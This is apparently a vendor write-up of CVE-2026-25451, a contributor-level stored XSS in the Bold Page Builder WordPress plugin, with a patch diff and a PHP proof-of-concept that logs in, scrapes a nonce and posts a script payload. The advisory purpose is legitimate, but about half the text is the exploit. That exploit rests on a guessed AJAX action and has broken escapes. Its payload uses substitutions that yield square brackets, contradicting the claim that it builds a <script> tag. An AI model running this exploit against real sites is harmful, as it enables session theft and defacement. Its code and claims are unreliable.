Atomic Edge analysis of CVE-2026-25451:
The Bold Page Builder WordPress plugin, versions up to and including 5.6.7, contains an authenticated stored cross-site scripting (XSS) vulnerability. The vulnerability exists within the plugin’s shortcode element handler. Attackers with contributor-level or higher WordPress access can inject arbitrary JavaScript into pages, which executes when a victim views the page. The CVSS score of 6.4 reflects the need for authentication and the impact of client-side code execution.
The root cause is insufficient input sanitization and output escaping in the `bt_bb_shortcode` element. The vulnerable code is in the file `bold-page-builder/content_elements/bt_bb_shortcode/bt_bb_shortcode.php`. The `shortcode_content` parameter is processed by a `str_ireplace` function to convert specific backtick-encoded characters into square brackets and quotes. The resulting string is then directly output without proper sanitization. The plugin fails to validate or escape the user-supplied shortcode content before it is saved to the post and later rendered.
Exploitation requires an authenticated user with at least contributor privileges. The attacker would create or edit a post or page using the Bold Page Builder. They would add a ‘Shortcode’ element and inject a malicious payload into its content field. The payload would leverage the plugin’s character substitution, where backticks are replaced, to construct a script payload. For example, an attacker could submit a payload like `script{alert(document.domain)}/script` where backticks are used to obfuscate the angle brackets. When the page is saved and subsequently viewed by any user, the malicious JavaScript executes in the victim’s browser.
The patch, applied in version 5.6.8, adds a call to `wp_kses_post()` around the output of the `str_ireplace` function. This WordPress function sanitizes content for allowed HTML tags and attributes for post content. The change ensures that any unsafe HTML or JavaScript tags in the `shortcode_content` variable are stripped or neutralized before the content is saved or echoed. The fix is applied on line 22 of the patched file, directly wrapping the processed content.
Successful exploitation leads to stored cross-site scripting. Attackers can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect users to malicious sites. The contributor-level requirement limits the attack surface to users with content creation permissions, but these are commonly granted in multi-author WordPress sites. The impact is client-side code execution within the context of the vulnerable site.
--- a/bold-page-builder/bold-builder.php
+++ b/bold-page-builder/bold-builder.php
@@ -3,7 +3,7 @@
/**
* Plugin Name: Bold Builder
* Description: WordPress page builder.
- * Version: 5.6.7
+ * Version: 5.6.8
* Author: BoldThemes
* Author URI: https://www.bold-themes.com
* License: GPL v2 or later
@@ -14,7 +14,7 @@
defined( 'ABSPATH' ) || exit;
// VERSION --------------------------------------------------------- \
-define( 'BT_BB_VERSION', '5.6.7' );
+define( 'BT_BB_VERSION', '5.6.8' );
// VERSION --------------------------------------------------------- \
define( 'BT_BB_FEATURE_ADD_ELEMENTS', true );
--- a/bold-page-builder/content_elements/bt_bb_shortcode/bt_bb_shortcode.php
+++ b/bold-page-builder/content_elements/bt_bb_shortcode/bt_bb_shortcode.php
@@ -22,7 +22,7 @@
);
}
- $shortcode_content = str_ireplace( array( '`{`', '`}`', '``' ), array( '[', ']', '"' ), $shortcode_content );
+ $shortcode_content = wp_kses_post( str_ireplace( array( '`{`', '`}`', '``' ), array( '[', ']', '"' ), $shortcode_content ) );
if ( $shortcode_content == '' ) {
$shortcode_content = '<div>' . esc_html__( 'Please insert shortcode.', 'bold-builder' ) . '</div>';
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25451 - Bold Page Builder <= 5.6.7 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: Uses backtick encoding to bypass naive filtering. `{` becomes [, `}` becomes ], `` becomes ".
// Constructs a basic XSS payload: <script>alert('AtomicEdge')</script>
$malicious_shortcode = '`{`script`}`alert(`"AtomicEdge"`)/script`{`/script`}`';
// Step 1: Authenticate and get WordPress nonce and cookies
$login_url = 'http://vulnerable-wordpress-site.local/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://vulnerable-wordpress-site.local/wp-admin/',
'testcookie' => '1'
])
]);
$response = curl_exec($ch);
// Step 2: Fetch a nonce for the Bold Page Builder AJAX action (example action: 'bt_bb_shortcode_save')
// This step may require reconnaissance to find the exact AJAX action. This PoC assumes a generic pattern.
curl_setopt_array($ch, [
CURLOPT_URL => 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php?post_type=page',
CURLOPT_POST => false
]);
$admin_page = curl_exec($ch);
// Extract a nonce from the page (this is a simplified example; real extraction requires parsing HTML).
// For demonstration, we assume a nonce variable named 'bt_bb_nonce' in a script tag.
preg_match('/"bt_bb_nonce"s*:s*"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract required nonce. The AJAX action name may need adjustment.');
}
// Step 3: Exploit the vulnerability via the plugin's AJAX handler to save malicious shortcode content.
// The exact AJAX action parameter must be identified. This example uses a plausible action.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'bt_bb_shortcode_save',
'bt_bb_nonce' => $nonce,
'shortcode_content' => $malicious_shortcode,
'post_id' => 'new' // Or an existing post ID the user can edit
])
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Check response
if (strpos($ajax_response, 'success') !== false) {
echo "[+] Payload injected successfully.n";
echo "[+] Visit the page containing the shortcode element to trigger the XSS.n";
} else {
echo "[-] Injection may have failed. Check authentication, nonce, and AJAX action.n";
echo "Response: $ajax_responsen";
}
?>
